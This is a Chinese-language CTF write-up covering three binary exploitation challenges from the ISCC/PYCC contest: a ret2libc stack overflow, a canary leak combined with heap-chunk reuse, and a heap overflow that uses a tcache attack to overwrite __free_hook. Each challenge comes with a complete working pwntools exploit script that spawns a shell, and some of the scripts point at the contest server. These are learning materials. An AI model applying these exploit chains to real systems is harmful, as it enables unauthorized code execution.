那么ISCC(PYCC)的校赛也是结束了 比较简单的三道题 也是全部都AK了 那么废话不多说直接进入WP

checksec and 运行程序


可以看到就开了一个NX 程序开始就让你输入自己的名字 初步判断是写bss或者是简单的要死的栈溢出 没啥别的信息了

IDA分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int __fastcall main(int argc, const char **argv, const char **envp)
{
write(1, "Beep beep\n", 0xBuLL);
write(1, ".......\n", 8uLL);
write(1, "What's your name?\n", 0x14uLL);
write(1, "My name is\n", 0xBuLL);
name();
return 0;
}
ssize_t name()
{
_BYTE buf[96]; // [rsp+0h] [rbp-60h] BYREF

return read(0, buf, 0x200uLL);
}

可以看到 问名字直接就进一个超级无敌的大溢出 但是又没有啥后门函数 直接就是一个经典的ret2libc

进行一个脚本的写

1
2
3
4
5
6
❯ ROPgadget --binary call |grep 'pop rdi'
0x0000000000401273 : pop rdi ; ret
❯ ROPgadget --binary call |grep 'pop rsi'
0x0000000000401271 : pop rsi ; pop r15 ; ret
❯ ROPgadget --binary call |grep 'pop rdx'

没有pop rdx不过我们可以利用read函数给我们遗留的这个0x200的rdx 初步payload可以这样构思 先构造一个调用write(1,read@got,0x200)泄露libc基址 然后再回到main函数再次溢出调用system(“/bin/sh”)获取shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import*
context.log_level = 'debug'
context.arch = 'amd64'
#p=process('./call')
p=remote('101.200.155.151',12100)
elf=ELF('./call')
libc=ELF('./libc6_2.31-0ubuntu9.17_amd64.so')
#gdb.attach(p)
pop_rdi=0x401273
pop_rsi_r15=0x0000000000401271
write_plt=elf.plt['write']
read_got=elf.got['read']
main_addr=elf.symbols['main']
paylaod=b'a'*96+b'b'*8+p64(pop_rdi)+p64(1)+p64(pop_rsi_r15)+p64(read_got)+p64(0)+p64(write_plt)+p64(main_addr)
p.sendline(paylaod)
p.recvuntil(b'\x73\x0a')
read_addr=u64(p.recv(6).ljust(8,b'\x00'))
print('read_addr:',hex(read_addr))
libc_base=read_addr-libc.symbols['read']
system_addr=libc_base+libc.symbols['system']
bin_sh_addr=libc_base+next(libc.search(b'/bin/sh'))
paylaod2=b'a'*96+b'b'*8+p64(pop_rdi)+p64(bin_sh_addr)+p64(system_addr)
p.sendline(paylaod2)
p.interactive()

获得shell

key

checksec和运行程序


开了canary和NX 刚开始让你输入一个大小和flag值 看来不打开IDA是得不到什么消息的

IDA分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[24]; // [rsp+0h] [rbp-20h] BYREF
unsigned __int64 v5; // [rsp+18h] [rbp-8h]

v5 = __readfsqword(0x28u);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
fg();
if ( key == 520 )
{
puts("welcome to ISCC");
read(0, buf, 0x100uLL);
printf("%s. nice to meet you", buf);
read(0, buf, 0x100uLL);
puts("Nice to meet you too!");
}
return 0;
}
unsigned __int64 fg()
{
_BYTE *v0; // rax
int v2; // [rsp+4h] [rbp-1Ch] BYREF
void *ptr; // [rsp+8h] [rbp-18h]
void *v4; // [rsp+10h] [rbp-10h]
unsigned __int64 v5; // [rsp+18h] [rbp-8h]

v5 = __readfsqword(0x28u);
if ( key != 520 )
{
ptr = malloc(0x64uLL);
if ( !ptr )
{
perror("malloc failed");
exit(1);
}
v0 = ptr;
*(_DWORD *)ptr = 'galf';
v0[4] = 0;
free(ptr);
puts("size:");
if ( (unsigned int)__isoc99_scanf("%d", &v2) != 1 || v2 <= 0 || v2 > 1024 )
{
fwrite("Invalid size\n", 1uLL, 0xDuLL, stderr);
exit(1);
}
getchar();
v4 = malloc(v2);
if ( !v4 )
{
perror("malloc failed");
exit(1);
}
puts("flag:");
__isoc99_scanf("%s", v4);
getchar();
if ( !strncmp((const char *)ptr, "flag", 4uLL) )
key = 520;
free(v4);
}
return __readfsqword(0x28u) ^ v5;
}

那么一切也就清晰了 开头让你输入的是请求的堆块大小 然后他会比对那个ptr的flag值 输入的flag值会写入堆块 然后会判断flag值是不是flag 因为有free函数所以你不能通过什么正当的手段修改那个ptr 那么我们就要利用glibc的特性了 当你free一个chunk的时候他并不是真正的消失了 而是进入了一个叫bins的管理器里 当我们申请一个大小一样的堆块的时候 glibc就会从bins里面把这个chunk复用 这样我们就可以修改ptr值了 也是非常的容易啊
然后这个第二层 就是先泄露canary 再ret2libc 泄露canary也是经典的修改低位的\x00这样就可以让输出函数将canary输出出来 达到泄露的目的 ret2libc就不必多说了 是个pwn手应该就会的东西(上面那题也教了) 那么话不多说直接上脚本

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
context.log_level = 'debug'
#p=remote('101.200.155.151',12200)
p=process('./key')
elf=ELF('./key')
libc=ELF('./attachment-8.so')
#gdb.attach(p)
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main_addr=elf.sym['main']
pop_rdi=0x00000000004014c3
p.sendlineafter('size:',b'100')
p.sendlineafter('flag:',b'flag')
payload=b'a'*24+b'\x0a'
p.send(payload)
p.recvuntil(b'\x61\x0a')
canary=u64(p.recv(7).rjust(8,b'\x00'))
print(hex(canary))
payload=b'a'*24+p64(canary)+b'a'*8+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
p.send(payload)
p.recvuntil('Nice to meet you too!\n')
puts_addr=u64(p.recv(6).ljust(8,b'\x00'))
print(hex(puts_addr))
libc_base=puts_addr-libc.sym['puts']
system_addr=libc_base+libc.sym['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
payload=b'a'*24+p64(canary)+b'a'*8+p64(0x000000000040101a)+p64(pop_rdi)+p64(binsh_addr)+p64(system_addr)
p.send(payload)
p.send(payload)
p.interactive()


得到shell

魔导王的秘密

checksec和运行程序


保护全开和菜单 一眼堆题 1.add 2.delete 3.edit 4.show 5.exit

IDA分析

程序太长 这里就直接放漏洞点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int sub_B8C()
{
unsigned int v1; // [rsp+8h] [rbp-8h]
int v2; // [rsp+Ch] [rbp-4h]

puts("Sanctum for arcane inscription:");
v1 = sub_A33();
if ( !(unsigned int)sub_95A(v1) )
return puts("Reality Tear! Unstable coordinates!");
if ( !qword_202060[v1] )
return puts("Echoes from Beyond! Sanctum lies vacant!");
puts("Runic sequence length:");
v2 = sub_A33();
puts("Inscribe your primordial truth:");
return read(0, (void *)qword_202060[v1], v2);
}

这个edit函数 可以自定输入的长度 然后写入堆块 也就是说完全就是一个堆溢出 我们可以这样子构造攻击 先申请两个小堆块(size<0x420) 然后将第二个delete 这步是为了防止之后申请的unsorted bin块free的时候被合到top chunk里 然后通过第一个chunk溢出修改这个unsorted bin块的size最低flag位 让glibc误判导致申请回来的时候 让这个unsorted bin块带着fd->main_arena回来 然后我们show一下就可以得到main_arena的地址 减去偏移量就是libc地址 最后在进行一波tache bin attack修改__free_hook地址为system 然后再申请一个堆块 输入/bin/sh 然后free掉这个堆块 就可以得到shell了

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
context.log_level = 'debug'
p=process('./attachment-13')
#p=remote('101.200.155.151',12700)
libc=ELF('./attachment-13.6')
#gdb.attach(p)
def add(idx,size):
p.sendlineafter('Chant your choice:',b'1')
p.sendlineafter('Celestial alignment coordinate:',str(idx))
p.sendlineafter('Quantum essence required:',str(size))
def delete(idx):
p.sendlineafter('Chant your choice:',b'2')
p.sendlineafter('Cursed sanctum to cleanse:',str(idx))
def edit(idx,size,content):
p.sendlineafter('Chant your choice:',b'3')
p.sendlineafter('Sanctum for arcane inscription:',str(idx))
p.sendlineafter('Runic sequence length:',str(size))
p.sendafter('Inscribe your primordial truth:',content)
def show(idx):
p.sendlineafter('Chant your choice:',b'4')
p.sendlineafter('Sanctum to reveal cosmic truth:',str(idx))
add(0,0x30)
add(1,0x30)
add(2,0x30)
add(3,0x430)
add(4,0x30)
delete(4)
delete(3)
fake_chunk = p64(0)*7+p64(0x41)+p64(0)*7+p64(0x41)+p64(0)*7+p64(0x441)
edit(0,0x40,fake_chunk)
add(1,0x420)
show(1)
p.recv(8)
main_arena=u64(p.recv(6).ljust(8,b'\x00'))-96-1024
print(hex(main_arena))
libc_base=main_arena-0x3ebc40
print(hex(libc_base))
free_hook=libc_base+libc.symbols['__free_hook']
print(hex(free_hook))
system_addr=libc_base+libc.symbols['system']
delete(1)
delete(2)
fake_chunk = p64(0)*7+p64(0x41)+p64(0)*7+p64(0x41)+p64(free_hook)
edit(0,0x100,fake_chunk)
add(4,0x30)
add(2,0x30)
edit(2,0x100,p64(system_addr))
edit(4,0x30,'/bin/sh')
delete(4)
p.interactive()

脚本具体都不解释了 gdb都能一步一步调试出来 不会gdb的赶紧去学!!!

得到flag
2025.5.11 修正: 这道堆题我写的EXP有一些多此一举 这道题的ptr没有置0 所以直接show unsorted bin就好了 不用和我一样修改inuse位

最后

我想说一句 有的队伍能不能尊重一下其他队伍 你40秒一道pwn题 难不成你什么pwn神仙? 我是真的看不下去 甚至就在今天 都能看到闲鱼上在卖5块钱全部的flag 你们买的时候不心虚 交的时候一点都不愧疚吗? 而且比赛方都懒得弄单独容器 pwn的每道题都是公共容器 flag全都一样 不愧是你PYCC